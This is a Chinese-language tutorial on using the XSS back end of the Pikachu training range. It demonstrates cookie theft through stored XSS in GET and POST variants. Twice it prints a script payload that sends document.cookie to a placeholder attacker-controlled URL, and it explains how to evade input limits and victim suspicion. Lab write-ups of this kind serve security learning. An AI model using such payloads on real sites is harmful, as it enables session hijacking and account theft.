使用pikachu管理工具下的XSS后台进行实战-Toy模板网

这篇具有很好参考价值的文章主要介绍了使用pikachu管理工具下的XSS后台进行实战。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

写在前面的重要提示：

Attention：技术没有好坏之分，关键在于使用技术的人或组织。网络安全技术是一把双刃剑 – 作为网络安全人，虽然无法控制头上的帽子是否会变绿，但能控制不让它变黑；无论我们在物质上面对多大的诱惑或是面对多么艰难的窘境，精神上一定不要放弃最初成为顶级白帽的理想。一路走来，我们不一定能用自己所掌握的技术促进网络安全事业的进步与发展，但一定不要且不能站在网络安全事业发展的对立面。

Warning：本文仅限于技术交流，禁止一切利用本文涉及的技术进行违法犯罪活动。如有违者，后果自负。且笔者建议各位网络安全从业者，熟读且背诵我国网络安全相关法律法规，这也是对自己职业生涯负责的行为。

一：pikachu管理工具下的XSS后台简介

pikachu管理工具下的XSS后台是一个通过Cookie窃取和利用、钓鱼攻击、键盘行为记录这三个实战型实验来帮助学习者理解XSS漏洞的原理和危害的一个平台。旨在帮助学习者在实战中深入理解理论，从而可以更好的防御XSS漏洞。

Xss后台登录页面：

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络

Xss后台主页面：

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络

二：XSS后台的启动

方式一：直接进入pikachu靶场的管理工具模块 —> 进入XSS后台。（第一次使用需要先创建数据库）

方式二：XSS后台在pikachu靶场文件中是一个独立的文件：pkxss。若不想部署整个pikachu靶场，可以把pkxss文件单独部署在攻击主机中，单独搭建XSS后台。（如：笔者部署在虚拟机的PHPstudy中 – 部署方式和部署靶场一致，不了解的读者可以看笔者关于靶场部署的文章）

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络

三：实战型实验演示

Cookie窃取

GET型：

原理图：

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络

第一步：修改配置文件

1）进入pkxss目录找到xcookie，打开cookie.php文件修改配置。（E:\phpstudy_pro\WWW\Test\pkxss\xcookie\cookie.php）。

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络

修改框中的URL：这个URL地址表示重定向到一个可信任的IP地址,换句话说就是被攻击者促发攻击代码受到攻击时页面跳转（刷新）至这个URL地址，这样做的目的是在攻击时造成的网页跳转可以减少甚至消除被攻击者的怀疑。（笔者将pikachu部署在本地的PHPstudy中：E:\phpstudy_pro\WWW\Test\pikachu-master，这个RUL的意思是：在受到攻击时，页面跳转到pikachu靶场的主页）。

第二步：构造攻击代码

1）构造一段获取cookie的攻击代码，并将代码通过XSS漏洞注入到被攻击主机可能浏览并存在XSS漏洞的站点，等待攻击成功。

这里为了帮助读者们理解，使用pikachu靶场的XSS存储型漏洞进行演示。

查看XSS平台下Cookie获取模块是否由历史数据。

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络

（2）构造攻击代码：<script>document.location = ‘http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>

（注意：攻击代码中http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php页面，代表当用户触发到攻击代码时，攻击代码运行收集到用户的Cookie，并将Cookie发送给这个URL页面。当然，这个URL是受攻击者控制的）

第三步：将代码通过输入框或网页URL注入到页面中

注意：由于注入框设置了字符输入限制，需要先打开代码调式工具（右击—>检查），将字符输入限制更改

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络

第四步：查看记录

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络

POST型：

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络

原理：

POST型和GET型基本原理大差不差，主要的不同在于参数的提交方式是表单提交，不能通过URL进行参数提交，因此攻击者无法通过URL的方式将恶意代码嵌入。所以，攻击者需要构造一个Form表单，当用户点击攻击者的表单连接，用户就替攻击者发送一个提交请求，之后的攻击步骤就和GET型一致了。

第一步：构造Form表单

1）修改配置

修改pkxss目录下的文件： pkxss/xcookie/post.html

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络

将用户服务器IP地址和文件路径填入白框：如：http://pikachu/pkxss/xcookie/pkxss_cookie_result.php
将攻击者所控制的机器IP和文件路径填入黄框：http://pikachu/pkxss/xcookie/cookie.php

第二步：登录页面，在攻击框内输入攻击代码（步骤和GET型一致）：<script>document.location = ‘http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>

使用pikachu管理工具下的XSS后台进行实战,# 模拟实验或漏洞复现模块,网络